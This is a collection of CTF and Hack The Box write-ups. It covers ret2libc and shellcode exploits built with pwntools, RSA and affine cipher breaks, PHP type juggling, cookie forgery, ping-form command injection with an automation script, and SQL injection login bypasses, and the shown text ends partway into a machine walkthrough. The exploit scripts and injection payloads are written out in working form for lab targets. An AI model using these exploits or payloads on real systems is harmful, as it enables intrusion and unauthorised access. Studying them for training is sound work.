1 | # Binary Exploitation
2 |
3 |
--------------------------------------------------------------------------------
/writeups/ctfs/fword-ctf-2020/binary-exploitation/untitled.md:
--------------------------------------------------------------------------------
1 | ---
2 | description: A ret2libc with a given leak
3 | ---
4 |
5 | # Molotov
6 |
7 | ## Overview
8 |
9 | Running the binary prints and hex value and prompts for input:
10 |
11 | ```text
12 | $ ./molotov
13 | f7d9ef00
14 | Input :
15 | ```
16 |
17 | We can definitely cause it to segfault:
18 |
19 | ```text
20 | $ python3 -c 'print("A"*300)' | ./molotov
21 | f7d61f00
22 | Input :
23 | Segmentation fault
24 | ```
25 |
26 | So let's work out what this value is and how we can use it.
27 |
28 | ## Decompilation
29 |
30 |
31 |
32 | We chuck the binary into GHidra and get a simple disassembly. `main` calls `vuln` and does almost nothing else. `vuln`, however, has _some_ interesting stuff:
33 |
34 | ```c
35 | int vuln(void){
36 | char buffer [24];
37 |
38 | printf("%x\n",system);
39 | puts("Input : ");
40 |
41 | gets(buffer);
42 |
43 | return 0;
44 | }
45 | ```
46 |
47 |
48 |
49 | It prints the address of `system`! Awesome.
50 |
51 | Let's run the binary on the remote serevr to leak the libc version.
52 |
53 | ```text
54 | $ nc 54.210.217.206 1240
55 | f7d3c8b0
56 | Input :
57 | ```
58 |
59 |
60 |
61 | So now we essentially have a libc leak, we head over to [find the libc version](https://libc.blukat.me/).
62 |
63 | 
64 |
65 | Annoyingly, there are 4 possible libc versions, and we can only get it from trial and error. Aside from the libc version itself, the exploit is quite simple - subtract the offset of `system` from the leaked address to get `libc` base, then use that to get the location of `/bin/sh`.
66 |
67 | The correct libc version is `2.30-0ubuntu2.1_i386`.
68 |
69 | ## Exploitation
70 |
71 | ```python
72 | from pwn import *
73 |
74 | elf = context.binary = ELF('./molotov')
75 |
76 | if args.REMOTE:
77 | libc = ELF('./libc-remote.so')
78 | p = remote('54.210.217.206', 1240)
79 | else:
80 | libc = elf.libc
81 | p = process()
82 |
83 | addr = int(p.recvline(), 16)
84 | p.clean()
85 |
86 | libc.address = addr - libc.sym['system']
87 |
88 | rop = ROP(libc)
89 | rop.raw('A' * 32)
90 | rop.system(next(libc.search(b'/bin/sh\x00')))
91 |
92 | p.sendline(rop.chain())
93 | p.interactive()
94 | ```
95 |
96 |
--------------------------------------------------------------------------------
/writeups/ctfs/fword-ctf-2020/reversing/README.md:
--------------------------------------------------------------------------------
1 | # Reversing
2 |
3 |
--------------------------------------------------------------------------------
/writeups/ctfs/htb-cybersanta-2021/README.md:
--------------------------------------------------------------------------------
1 | # HTB CyberSanta 2021
2 |
3 |
--------------------------------------------------------------------------------
/writeups/ctfs/htb-cybersanta-2021/crypto/README.md:
--------------------------------------------------------------------------------
1 | # Crypto
2 |
3 |
--------------------------------------------------------------------------------
/writeups/ctfs/htb-cybersanta-2021/crypto/missing-reindeer.md:
--------------------------------------------------------------------------------
1 | ---
2 | description: Cube Root Attack
3 | ---
4 |
5 | # Missing Reindeer
6 |
7 | ## Contents
8 |
9 | In this challenge, we get a `message.eml` file containing an email:
10 |
11 | ```
12 | Hello Mr Jingles,
13 |
14 | We got the reindeer as you requested. There is a problem though. Its nose is so red and bright and makes it very hard to hide him anywhere near north pole. We have moved to a secret location far away. I have encrypted this information with your public key in case you know who is watching.
15 | ```
16 |
17 | Applications such as Outlook block downloading the file due to it's "malicious nature", but we can open the `.eml` file in VS Code easily and extract two things:
18 |
19 | Firstly, there is a `secret.enc` file with base64-encoded ciphertext:
20 |
21 | ```
22 | Ci95oTkIL85VWrJLVhns1O2vyBeCd0weKp9o3dSY7hQl7CyiIB/D3HaXQ619k0+4FxkVEksPL6j3wLp8HMJAPxeA321RZexR9qwswQv2S6xQ3QFJi6sgvxkN0YnXtLKRYHQ3te1Nzo53gDnbvuR6zWV8fdlOcBoHtKXlVlsqODku2GvkTQ/06x8zOAWgQCKj78V2mkPiSSXf2/qfDp+FEalbOJlILsZMe3NdgjvohpJHN3O5hLfBPdod2v6iSeNxl7eVcpNtwjkhjzUx35SScJDzKuvAv+6DupMrVSLUfcWyvYUyd/l4v01w+8wvPH9l
23 | ```
24 |
25 | Secondly, there is a `pubkey.der` file containing an RSA public key:
26 |
27 | ```
28 | -----BEGIN PUBLIC KEY-----
29 | MIIBIDANBgkqhkiG9w0BAQEFAAOCAQ0AMIIBCAKCAQEA5iOXKISx9NcivdXuW+uE
30 | y4R2DC7Q/6/ZPNYDD7INeTCQO9FzHcdMlUojB1MD39cbiFzWbphb91ntF6mF9+fY
31 | N8hXvTGhR9dNomFJKFj6X8+4kjCHjvT//P+S/CkpiTJkVK+1G7erJT/v1bNXv4Om
32 | OfFTIEr8Vijz4CAixpSdwjyxnS/WObbVmHrDMqAd0jtDemd3u5Z/gOUi6UHl+XIW
33 | Cu1Vbbc5ORmAZCKuGn3JsZmW/beykUFHLWgD3/QqcT21esB4/KSNGmhhQj3joS7Z
34 | z6+4MeXWm5LXGWPQIyKMJhLqM0plLEYSH1BdG1pVEiTGn8gjnP4Qk95oCV9xUxWW
35 | ZwIBAw==
36 | -----END PUBLIC KEY-----
37 | ```
38 |
39 | ## Analysing the Public Key
40 |
41 | We can easily import the public key in Python and read the values for $$N$$ and $$e$$ using the Pycryptodome:
42 |
43 | ```python
44 | from Crypto.PublicKey import RSA
45 |
46 | with open('pubkey.pem') as f:
47 | key = RSA.importKey(f.read())
48 |
49 | print(key.n)
50 | print(key.e)
51 | ```
52 |
53 | We can throw $$N$$ into FactorDB to see if the factors are known, but they are not. The more notable observation is that $$e=3$$, which allows us to perform a [**cube root attack**](https://ir0nstone.gitbook.io/crypto/rsa/public-exponent-attacks/small-e) on the ciphertext.
54 |
55 | The logic here is simple: because the message $$m$$ is quite short and the public modulus $$N$$ is quite large, a small value of $$e$$ such as $$3$$ may make it such that $$m^e < N$$. This makes the modulus ineffective as $$m^e = m^e \mod N$$ and we can simply take the $$e$$th root of the ciphertext to recover the plaintext.
56 |
57 | ## Recovering c
58 |
59 | We'll use the `gmpy2` `iroot()` function to calculate the cube root:
60 |
61 | ```python
62 | from Crypto.Util.number import bytes_to_long, long_to_bytes
63 | from base64 import b64decode
64 | from gmpy2 import iroot
65 |
66 | c = b64decode(b'Ci95oTkIL85VWrJLVhns1O2vyBeCd0weKp9o3dSY7hQl7CyiIB/D3HaXQ619k0+4FxkVEksPL6j3wLp8HMJAPxeA321RZexR9qwswQv2S6xQ3QFJi6sgvxkN0YnXtLKRYHQ3te1Nzo53gDnbvuR6zWV8fdlOcBoHtKXlVlsqODku2GvkTQ/06x8zOAWgQCKj78V2mkPiSSXf2/qfDp+FEalbOJlILsZMe3NdgjvohpJHN3O5hLfBPdod2v6iSeNxl7eVcpNtwjkhjzUx35SScJDzKuvAv+6DupMrVSLUfcWyvYUyd/l4v01w+8wvPH9l')
67 | c = bytes_to_long(c)
68 |
69 | m = iroot(c, 3)
70 | print(long_to_bytes(m[0]))
71 | ```
72 |
73 | And bingo bango, we get the flag as `HTB{w34k_3xp0n3n7_ffc896}`.
74 |
--------------------------------------------------------------------------------
/writeups/ctfs/htb-cybersanta-2021/crypto/xmas-spirit.md:
--------------------------------------------------------------------------------
1 | # Xmas Spirit
2 |
3 | ## Contents
4 |
5 | We get given `challenge.py` and `encrypted.bin`. Analysing `challenge.py`:
6 |
7 | ```python
8 | import random
9 | from math import gcd
10 |
11 | def encrypt(dt):
12 | mod = 256
13 | while True:
14 | a = random.randint(1, mod)
15 | if gcd(a, mod) == 1:
16 | break
17 | b = random.randint(1, mod)
18 |
19 | res = b''
20 | for byte in dt:
21 | enc = (a * byte + b) % mod
22 | res += bytes([enc])
23 | return res
24 |
25 |
26 | dt = open('letter.pdf', 'rb').read()
27 |
28 | res = encrypt(dt)
29 |
30 | f = open('encrypted.bin', 'wb')
31 | f.write(res)
32 | f.close()
33 | ```
34 |
35 | It calculates two random values, $$a$$ and $$b$$. For every byte $$k$$ in the plaintext file, it then calculates
36 |
37 | $$
38 | ak + b \mod 256
39 | $$
40 |
41 | And appends the result of that as the encrypted character in `encrypted.bin`.
42 |
43 | ## Analysis
44 |
45 | The plaintext file appears to be `letter.pdf`, and using this we can work out the values of $$a$$ and $$b$$ because we know the first 4 bytes of every PDF file are `%PDF`. We can extract the first two bytes of `encrypted.bin` and compare to the expected two bytes:
46 |
47 | ```python
48 | with open('encrypted.bin', 'rb') as f:
49 | res = f.read()
50 |
51 | print(res[0])
52 | print(res[1])
53 | print(ord('%'))
54 | print(ord('P'))
55 | ```
56 |
57 | Gives us
58 |
59 | ```python
60 | 13
61 | 112
62 | 37
63 | 80
64 | ```
65 |
66 | So we can form two equations here using this information:
67 |
68 |
69 |
70 | $$
71 | a \cdot 37 + b \equiv 13 \mod 256 \\
72 | a \cdot 80 + b \equiv 112 \mod 256
73 | $$
74 |
75 | We subtract (2) from (1) to get that
76 |
77 | $$
78 | 43a \equiv 99 \mod 256
79 | $$
80 |
81 | And we can multiply both sides by the **modular multiplicative inverse** of 43, i.e. $$43^{-1} \mod 256$$, which is $$131$$, to get that
82 |
83 | $$
84 | a \equiv 99 \cdot 131 \equiv 169 \mod 256
85 | $$
86 |
87 | And then we can calculate $$b$$:
88 |
89 | $$
90 | b \equiv 13 - 169 * 37 \equiv 160 \mod 256
91 | $$
92 |
93 | ## Solution
94 |
95 | So now we have the values for $$a$$ and $$b$$, it's simply a matter of going byte-by-byte and reversing it. I created a simple Sage script to do this with me, and it took a bit of time to run but eventually got the flag.
96 |
97 | ```python
98 | with open('encrypted.bin', 'rb') as f:
99 | res = f.read()
100 |
101 |
102 | final = b''
103 |
104 |
105 | R = IntegerModRing(256)
106 |
107 | for char in res:
108 | b = bytes([ (R(char) - R(160)) / R(169) ])
109 | print(b.decode('latin-1'), end='')
110 | final += b
111 |
112 | with open('answer.pdf', 'wb') as f:
113 | f.write(final)
114 | ```
115 |
116 | And the resulting PDF has the flag `HTB{4ff1n3_c1ph3r_15_51mpl3_m47h5}` within.
117 |
--------------------------------------------------------------------------------
/writeups/ctfs/x-mas-ctf-2020/README.md:
--------------------------------------------------------------------------------
1 | # X-MAS CTF 2020
2 |
3 | I didn't manage to solve a huge number of these - I was quite busy, plus I suck - but I'll dump some writeups here for those I caught up on later.
4 |
5 |
--------------------------------------------------------------------------------
/writeups/ctfs/x-mas-ctf-2020/pwn/README.md:
--------------------------------------------------------------------------------
1 | # Pwn
2 |
3 |
--------------------------------------------------------------------------------
/writeups/ctfs/x-mas-ctf-2020/pwn/do-i-know-you.md:
--------------------------------------------------------------------------------
1 | # Do I Know You?
2 |
3 | If we disassemble, the solution is pretty clear.
4 |
5 | ```text
6 | [...]
7 | | 0x55c00f08685d 4889c7 mov rdi, rax
8 | │ 0x55c00f086860 b800000000 mov eax, 0
9 | │ 0x55c00f086865 e846feffff call sym.imp.gets
10 | │ 0x55c00f08686a 488b55f0 mov rdx, qword [var_10h]
11 | │ 0x55c00f08686e b8efbeadde mov eax, 0xdeadbeef
12 | │ 0x55c00f086873 4839c2 cmp rdx, rax
13 | │ ┌─< 0x55c00f086876 7522 jne 0x55c00f08689a
14 | │ │ 0x55c00f086878 488d3de90000. lea rdi, str.X_MAS_Fake_flag...
15 | [...]
16 | ```
17 |
18 | `gets()` is used to take in input, then the contents of another local variable are compared to `0xdeadbeef`. Basic buffer overflow then overwrite a local variable:
19 |
20 | ```python
21 | from pwn import *
22 |
23 | elf = context.binary = ELF('./chall')
24 | p = remote('challs.xmas.htsp.ro', 2008)
25 |
26 | payload = b'A' * 32
27 | payload += p64(0xdeadbeef)
28 |
29 | p.sendlineafter('you?\n', payload)
30 | print(p.recvuntil('}'))
31 | ```
32 |
33 | `X-MAS{ah_yes__i_d0_rememb3r_you}`
34 |
35 |
--------------------------------------------------------------------------------
/writeups/ctfs/x-mas-ctf-2020/pwn/naughty.md:
--------------------------------------------------------------------------------
1 | # Naughty
2 |
3 | ## Overview
4 |
5 | We receive a file called `chall`. NX is disabled, which is helpful. We inject shellcode, [use a `jmp rsp` gadget](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode#using-rsp) and execute our own shellcode.
6 |
7 | ## Decompilation
8 |
9 | `main()` is a fairly simple binary:
10 |
11 | ```c
12 | int main(int a1, char **a2, char **a3)
13 | {
14 | char input[46]; // [rsp+0h] [rbp-30h] BYREF
15 | __int16 check; // [rsp+2Eh] [rbp-2h]
16 |
17 | setvbuf(stdin, 0LL, 2, 0LL);
18 | setvbuf(stdout, 0LL, 2, 0LL);
19 |
20 | check = -6913;
21 | puts("Tell Santa what you want for XMAS");
22 | fgets(input, 71, stdin);
23 | puts("Nice. Hope you haven't been naughty");
24 | if ( check != -6913 )
25 | {
26 | puts("Oh no....no gifts for you this year :((");
27 | exit(0);
28 | }
29 | return 0LL;
30 | }
31 | ```
32 |
33 | The buffer is `48` bytes long. After the buffer there is 16-bit integer `check`, which acts as a canary. Then there are 8 bytes for the stored RBP. The total input it `71`, meaning after the stored RBP we have 13 bytes of overflow, **including the RIP**. No ROP is possible.
34 |
35 | Note that the value `-6913` is actually `0xe4ff`.
36 |
37 | This was rather misleading as they gave you the LIBC.
38 |
39 | ## Exploitation
40 |
41 | Firstly:
42 |
43 | ```python
44 | from pwn import *
45 |
46 | elf = context.binary = ELF('./chall', checksec=False)
47 |
48 | if args.REMOTE:
49 | p = remote('challs.xmas.htsp.ro', 2000)
50 | else:
51 | p = process()
52 |
53 | jump_rsp = 0x40067f
54 | ```
55 |
56 | Now we need some shellcode. pwntools' `shellcraft.sh()` is `2` bytes too long, so we'll have to make it manually.
57 |
58 | The general payload is as follows:
59 |
60 | * `/bin/sh\x00` so we have it in a known location \(relative to RSP\)
61 | * Shellcode
62 | * Padding
63 | * `0xe4ff` to overwrite the pseudo-canary
64 | * Padding
65 | * `jmp rsp`
66 |
67 | Now we need to decide _what_ shellcode we want to run. Well, since RSP points at the stack, we know that it will **always be a static offset off our buffer**. If we calculate it, we can just do
68 |
69 | ```text
70 | sub rsp, x
71 | jmp rsp
72 | ```
73 |
74 | And execute the other half of our code! And at this point RSP will be exactly `8` bytes off `/bin/sh\x00`, so we can use it to populate RDI as well!
75 |
76 | ```python
77 | exploit = b'/bin/sh\x00'
78 | exploit += asm('''
79 | xor rsi, rsi
80 | xor rdx, rdx
81 | lea rdi, [rsp-8]
82 | mov rax, 0x3b
83 | syscall
84 | ''') # rsi/rdx need to be null, rdi points at /bin/sh, rax execve syscall number
85 | exploit += b'A' * (46 - len(exploit)) # padding
86 | exploit += p16(0xe4ff)
87 | exploit += b'B' * 8
88 | exploit += p64(jump_rsp)
89 | exploit += asm('''
90 | sub rsp, 0x38
91 | jmp rsp
92 | ''') # RSP point to beginning of shellcode, use this to point RIP there
93 |
94 | p.sendline(exploit)
95 | p.interactive()
96 | ```
97 |
98 | `X-MAS{sant4_w1ll_f0rg1ve_y0u_th1s_y3ar}`
99 |
100 |
--------------------------------------------------------------------------------
/writeups/ctfs/x-mas-ctf-2020/web/README.md:
--------------------------------------------------------------------------------
1 | # Web
2 |
3 | Not really my forte, but here we go, I can only get better.
4 |
5 |
--------------------------------------------------------------------------------
/writeups/ctfs/x-mas-ctf-2020/web/php-master.md:
--------------------------------------------------------------------------------
1 | # PHP Master
2 |
3 | Once we visit the URL, we are shown some code:
4 |
5 | ```php
6 |
23 | ```
24 |
25 | Clearly this is some type of [Type Juggling](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Type%20Juggling) exploit, but I'm not that familiar with it except for `0e` md5 hashes and stuff. However, there are some restrictions here:
26 |
27 | * There can be no `e` character in either parameter
28 | * The two parameters must be the same length
29 | * They can't strictly equal each other \(`!==`\) but they must loosely equal each other \(`==`\)
30 |
31 | PHP comparision is a known piece of junk, so we can find some weaknesses using [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Type%20Juggling).
32 |
33 | Once set of possible parameters is `01` and `1`, as they are both two characters long and - according to PHP's loose comparison - equal each other \(thanks to [**nrabulinski** ](https://github.com/nrabulinski)for this solution after the CTF\). It appears that objetcs are automatically **converted to numbers** for loose comparisions, as loose only compares _values_ while strict _also compares types_. Therefore the example above would both equal `1` under loose comparison.
34 |
35 | Another, more interesting set is `200` and `2E3` \(thanks to [03sunf](https://gist.github.com/03sunf/ada95212b624d9354b9f9cc46b14f387)\). Note that `2E3` is an **exponential**, equivalent to `2 * 10^2`. Once both are converted to integers, they pass the check.
36 |
37 |
--------------------------------------------------------------------------------
/writeups/hack-the-box/README.md:
--------------------------------------------------------------------------------
1 | # Hack The Box
2 |
3 |
--------------------------------------------------------------------------------
/writeups/hack-the-box/challenges/README.md:
--------------------------------------------------------------------------------
1 | # Challenges
2 |
3 |
--------------------------------------------------------------------------------
/writeups/hack-the-box/challenges/pwn/README.md:
--------------------------------------------------------------------------------
1 | # Pwn
2 |
3 |
--------------------------------------------------------------------------------
/writeups/hack-the-box/challenges/pwn/dream-diary-chapter-1/chunk-overlap.md:
--------------------------------------------------------------------------------
1 | # Chunk Overlap
2 |
3 | ## Summary
4 |
5 | TODO
6 |
7 |
--------------------------------------------------------------------------------
/writeups/hack-the-box/challenges/pwn/ropme.md:
--------------------------------------------------------------------------------
1 | # Ropme
2 |
3 | ## Overview
4 |
5 | [Ropme ](https://app.hackthebox.eu/challenges/8)was an 80pts challenge rated as `Hard` on HackTheBox. Personally, I don't believe it should have been a hard; the technique used is fairly common and straightforward, and the high points and difficulty is probably due to it being one of the first challenge on the platform.
6 |
7 | Exploiting the binary involved executing a [ret2plt ](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt_and_got#ret-2-plt)attack in order to leak the libc version before gaining RCE using a [ret2libc](https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/ret2libc).
8 |
9 | ## Analysis
10 |
11 | ```text
12 | $ ./ropme
13 | ROP me outside, how 'about dah?
14 | test
15 | ```
16 |
17 | One output, one input, then the program breaks.
18 |
19 | ```text
20 | $ rabin2 -I ropme
21 | bits 64
22 | canary false
23 | nx true
24 | pic false
25 | relro partial
26 | ```
27 |
28 | No PIE, meaning we can pull off the [ret2plt](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt_and_got#ret-2-plt). Let's leak the libc version.
29 |
30 | ```python
31 | from pwn import *
32 |
33 | elf = context.binary = ELF('./ropme')
34 | libc = elf.libc
35 | p = elf.process()
36 |
37 | # ret2plt
38 | rop = ROP(elf)
39 |
40 | rop.raw('A' * 72)
41 | rop.puts(elf.got['puts'])
42 | rop.raw(elf.symbols['main'])
43 |
44 | p.sendline(rop.chain())
45 |
46 | # read the leaked puts address
47 | p.recvline()
48 | puts = u64(p.recv(6) + b'\x00\x00')
49 | log.success(f'Leaked puts: {hex(puts)}')
50 |
51 | # Get base
52 | libc.address = puts - libc.symbols['puts']
53 | log.success(f'Libc base: {hex(libc.address)}')
54 | ```
55 |
56 | We can now leak other symbols in order to pinpoint the libc version, for which you can use something like [here](https://libc.blukat.me/). Once you've done that, it's a simple [ret2libc](https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/ret2libc).
57 |
58 | ## Final Exploit
59 |
60 | ```python
61 | from pwn import *
62 |
63 | elf = context.binary = ELF('./ropme')
64 |
65 | if args.REMOTE:
66 | libc = ELF('./libc-remote.so', checksec=False)
67 | p = remote('docker.hackthebox.eu', 31919)
68 | else:
69 | libc = elf.libc
70 | p = elf.process()
71 |
72 | # ret2plt
73 | rop = ROP(elf)
74 |
75 | rop.raw('A' * 72)
76 | rop.puts(elf.got['puts'])
77 | rop.raw(elf.symbols['main'])
78 |
79 | p.sendline(rop.chain())
80 |
81 | ### Pad with \x00 to get to correct length of 8 bytes
82 | p.recvline()
83 | puts = u64(p.recv(6) + b'\x00\x00')
84 | log.success(f'Leaked puts: {hex(puts)}')
85 |
86 | # Get base
87 | libc.address = puts - libc.symbols['puts']
88 | log.success(f'Libc base: {hex(libc.address)}')
89 |
90 |
91 | # ret2libc
92 | binsh = next(libc.search(b'/bin/sh\x00'))
93 |
94 | rop = ROP(libc)
95 | rop.raw('A' * 72)
96 | rop.system(binsh)
97 |
98 | p.sendline(rop.chain())
99 |
100 | p.interactive()
101 |
102 | # HTB{r0p_m3_if_y0u_c4n!}
103 | ```
104 |
105 |
--------------------------------------------------------------------------------
/writeups/hack-the-box/challenges/web/README.md:
--------------------------------------------------------------------------------
1 | # Web
2 |
3 |
--------------------------------------------------------------------------------
/writeups/hack-the-box/challenges/web/baby-auth.md:
--------------------------------------------------------------------------------
1 | # Baby Auth
2 |
3 | ## Analysis
4 |
5 | We are first greeted by a login page. Let's, once again, try `admin` with password `admin`:
6 |
7 | ```
8 | Invalid username or password
9 | ```
10 |
11 | Looks like we'll have to create an account - let's try those credentials.
12 |
13 | ```
14 | this user already exists
15 | ```
16 |
17 | This is great, because now we know we need a user called `admin`. Let's create another user - I'll use username and password `yes`, because I doubt that'll be used.
18 |
19 | .png>)
20 |
21 | We're redirected to the login, which makes it seem like it worked. Let's log in with the credentials we just created:
22 |
23 | .png>)
24 |
25 | Whoops, guess we're not an admin!
26 |
27 | When it comes to accounts, one very common thing to check is **cookies**. Cookies allow, among other things, for users to [authenticate without logging in every time](https://stackoverflow.com/questions/17769011/how-does-cookie-based-authentication-work). To check cookies, we can right-click and hit **Inspect Element** and then move to the **Console** tab and type `document.cookie`.
28 |
29 | .png>)
30 |
31 | Well, we have a cookie called `PHPSESSID` and the value `eyJ1c2VybmFtZSI6InllcyJ9`. Cookies are often base64 encoded, so we'll use a tool called [CyberChef](https://gchq.github.io/CyberChef/) to decode it.
32 |
33 | .png>)
34 |
35 | Once we decode the base64, we see that the contents are simply `{"username":"yes"}`.
36 |
37 | ## Exploitation
38 |
39 | So, the website knows our identity due to our cookie - but what's to stop us from forging a cookie? Since we control the cookies we send, we can just edit them. Let's create a fake cookie!
40 |
41 | .png>)
42 |
43 | Note that we're URL encoding it as it ends in the special character `=`, which usually has to be URL encoded in cookies. Let's change our cookie to `eyJ1c2VybmFtZSI6ImFkbWluIn0%3D`!
44 |
45 | .png>)
46 |
47 | Ignore the warning, but we've now set `document.cookie`. Refresh the page to let it send the cookies again.
48 |
49 | .png>)
50 |
51 | And there you go - we successfully authenticated as an admin!
52 |
53 | `HTB{s3ss10n_1nt3grity_1s_0v3r4tt3d_4nyw4ys}`
54 |
--------------------------------------------------------------------------------
/writeups/hack-the-box/challenges/web/looking-glass.md:
--------------------------------------------------------------------------------
1 | # Looking Glass
2 |
3 | ## Analysis
4 |
5 | When we start the instance, we are met with an options menu:
6 |
7 | .png>)
8 |
9 | It appears as if we can input the IP, which is then pinged. Let's imagine for a second how this could be implemented on the server side. A common trap developers can fall into is doing something like:
10 |
11 | ```php
12 | system("ping -c 4 " + ip);
13 | ```
14 |
15 | Essentially, we're passing the parameters to bash. This means we could, theoretically, insert a `;` character into the `ip` variable, and everything behind it would be interpreted as a seperate command, e.g.:
16 |
17 | ```php
18 | system("ping -c 4 178.62.0.100; ls");
19 | ```
20 |
21 | Here, `ls` would be run as a separate command. Let's see if it works!
22 |
23 | ## Exploitation
24 |
25 | Let's try it by simply inputting `; ls` to the end of the IP and submitting:
26 |
27 | ```
28 | PING 178.62.0.100 (178.62.0.100): 56 data bytes
29 | --- 178.62.0.100 ping statistics ---
30 | 4 packets transmitted, 0 packets received, 100% packet loss
31 | index.php
32 | ```
33 |
34 | Look - as well as the `ping` command, we get `index.php`, which is the result of the `ls` command!
35 |
36 | There doesn't appear to be a flag, so we'll try `; ls /` to read the root directory next:
37 |
38 | ```
39 | PING 178.62.0.100 (178.62.0.100): 56 data bytes
40 | --- 178.62.0.100 ping statistics ---
41 | 4 packets transmitted, 0 packets received, 100% packet loss
42 | bin
43 | boot
44 | dev
45 | entrypoint.sh
46 | etc
47 | flag_2viTb
48 | home
49 | lib
50 | lib64
51 | media
52 | mnt
53 | opt
54 | proc
55 | root
56 | run
57 | sbin
58 | srv
59 | sys
60 | tmp
61 | usr
62 | var
63 | www
64 | ```
65 |
66 | Woo - there's a `flag_2viTb` file! Now we'll inject `; cat /flag_2viTb` to read the flag:
67 |
68 | ```
69 | PING 178.62.0.100 (178.62.0.100): 56 data bytes
70 | --- 178.62.0.100 ping statistics ---
71 | 4 packets transmitted, 0 packets received, 100% packet loss
72 | HTB{I_f1n4lly_l00k3d_thr0ugh_th3_rc3}
73 | ```
74 |
75 | And boom, we've got the flag - `HTB{I_f1n4lly_l00k3d_thr0ugh_th3_rc3}`.
76 |
77 | ## Automation
78 |
79 | Because I prefer a command-line interface, I originally created a simple script to inject parameters for me:
80 |
81 | ```python
82 | from requests import post
83 |
84 | cmd = input('>> ')
85 |
86 | data = {'test': 'ping', 'ip_address': f'178.62.0.100; {cmd}', 'submit': 'Test'}
87 | r = post('http://178.62.0.100:30134/', data=data)
88 |
89 | data = r.text
90 | data = data.split('packet loss\n')[-1]
91 | data = data.split('')[0]
92 |
93 | print(data.strip())
94 | ```
95 |
96 | This simply inputs the command as `cmd`, sets the POST parameters, and (really messily) parses the response to return just the data.
97 |
98 | ```
99 | $ python3 exploit.py
100 | >> cat /flag_2viTb
101 | HTB{I_f1n4lly_l00k3d_thr0ugh_th3_rc3}
102 | ```
103 |
104 | ## Checking the Source
105 |
106 | We can inject `cat index.php` to see what exactly was happening, and we immediately see the following lines:
107 |
108 | ```php
109 | function runTest($test, $ip_address)
110 | {
111 | if ($test === 'ping')
112 | {
113 | system("ping -c4 ${ip_address}");
114 | }
115 | if ($test === 'traceroute')
116 | {
117 | system("traceroute ${ip_address}");
118 | }
119 | }
120 | ```
121 |
122 | As we guessed, it passed in the input _without sanitising it_ to remove potential injection.
123 |
--------------------------------------------------------------------------------
/writeups/hack-the-box/challenges/web/sanitize.md:
--------------------------------------------------------------------------------
1 | # Sanitize
2 |
3 | ## Analysis
4 |
5 | First we're met with a signin form:
6 |
7 | .png>)
8 |
9 | Let's try some default creds, `admin` and `admin`.
10 |
11 | .png>)
12 |
13 | Below, the query run on the database is shown; this seems like a clear example of **SQL injection**.
14 |
15 | ## Exploitation
16 |
17 | Ultimately, we want to try and log in as a user. To do this, we can try to inject our own SQL.
18 |
19 | We know the payload looks like the following:
20 |
21 | ```sql
22 | select * from users where username = '' AND password = '';
23 | ```
24 |
25 | We want to trick this into always returning a user, and to do this we'll inject a clause that's **always** true, such as `1=1`.
26 |
27 | ```sql
28 | admin' OR 1=1
29 | ```
30 |
31 | That will make the query equal to the following:
32 |
33 | ```sql
34 | select * from users where username = 'admin' OR 1=1 AND password = 'password';
35 | ```
36 |
37 | So here, it'll compare the `username` to `admin`, and if it's not the same the check will **still** pass because `1=1`. However, there's a small issue with the `password` still being wrong. To bypass _this_ check, we'll make everything after our injection a **comment** so that the databse ignores it:
38 |
39 | ```sql
40 | admin' OR 1=1;--
41 | ```
42 |
43 | That would make the query be:
44 |
45 | ```sql
46 | select * from users where username = 'admin' OR 1=1;-- AND password = 'password';
47 | ```
48 |
49 | As you can see, the `username` will always be correct due to the `1=1` and the password check is commented out! Let's try it.
50 |
51 | .png>)
52 |
53 | We still have to input a password because some javascript checks to make sure it's there, but we can fill that with any rubbish. And we get the flag!
54 |
55 | `HTB{SQL_1nj3ct1ng_my_w4y_0utta_h3r3}`
56 |
--------------------------------------------------------------------------------
/writeups/hack-the-box/linux-machines/README.md:
--------------------------------------------------------------------------------
1 | # Linux Machines
2 |
3 |
--------------------------------------------------------------------------------
/writeups/hack-the-box/linux-machines/easy-linux/README.md:
--------------------------------------------------------------------------------
1 | # Easy
2 |
3 |
--------------------------------------------------------------------------------
/writeups/hack-the-box/linux-machines/hard/README.md:
--------------------------------------------------------------------------------
1 | # Hard
2 |
3 |
--------------------------------------------------------------------------------
/writeups/hack-the-box/linux-machines/medium/README.md:
--------------------------------------------------------------------------------
1 | # Medium
2 |
3 |
--------------------------------------------------------------------------------
/writeups/hack-the-box/linux-machines/medium/magic.md:
--------------------------------------------------------------------------------
1 | ---
2 | description: SQL injection, PHP reverse shell upload, mysqldump and PATH injection
3 | ---
4 |
5 | # Magic
6 |
7 | ## Enumeration
8 |
9 | As always, let's start with an `nmap`:
10 |
11 | ```
12 | $ sudo nmap -sS -n -p- -sV -sC -oN depth.nmp 10.10.10.185
13 |
14 | PORT STATE SERVICE VERSION
15 | 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
16 | | ssh-hostkey:
17 | | 2048 06:d4:89:bf:51:f7:fc:0c:f9:08:5e:97:63:64:8d:ca (RSA)
18 | | 256 11:a6:92:98:ce:35:40:c7:29:09:4f:6c:2d:74:aa:66 (ECDSA)
19 | |_ 256 71:05:99:1f:a8:1b:14:d6:03:85:53:f8:78:8e:cb:88 (ED25519)
20 | 80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
21 | |_http-server-header: Apache/2.4.29 (Ubuntu)
22 | |_http-title: Magic Portfolio
23 | Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
24 | ```
25 |
26 | Only ports `22` and `80`. Add `magic.htb` to your `/etc/hosts` and let's check out the website.
27 |
28 | ### HTTP
29 |
30 | .png>)
31 |
32 | There's definitely a lot going on. By analysing the source we can see some images are in the `images/uploads/` folder, which is useful for later. Let's click the `Login` button at the bottom left.
33 |
34 | .png>)
35 |
36 | First thing's first, let's try the default `admin:admin`. We get told it's invalid.
37 |
38 | Now we can mess with the input to test for SQL injection. Tampering with a payload such as `'<>:32;4#::!@$":'` doesn't tell us it's invalid; perhaps it's having an affect?
39 |
40 | If we try a basic payload such as `admin'#`, what happens? The logic here is it logs in with the username `admin` and comments out the password check to always successfully log us in, essentially making it
41 |
42 | ```sql
43 | SELECT * FROM users WHERE username = 'admin'#' AND PASSWORD = ''
44 | ```
45 |
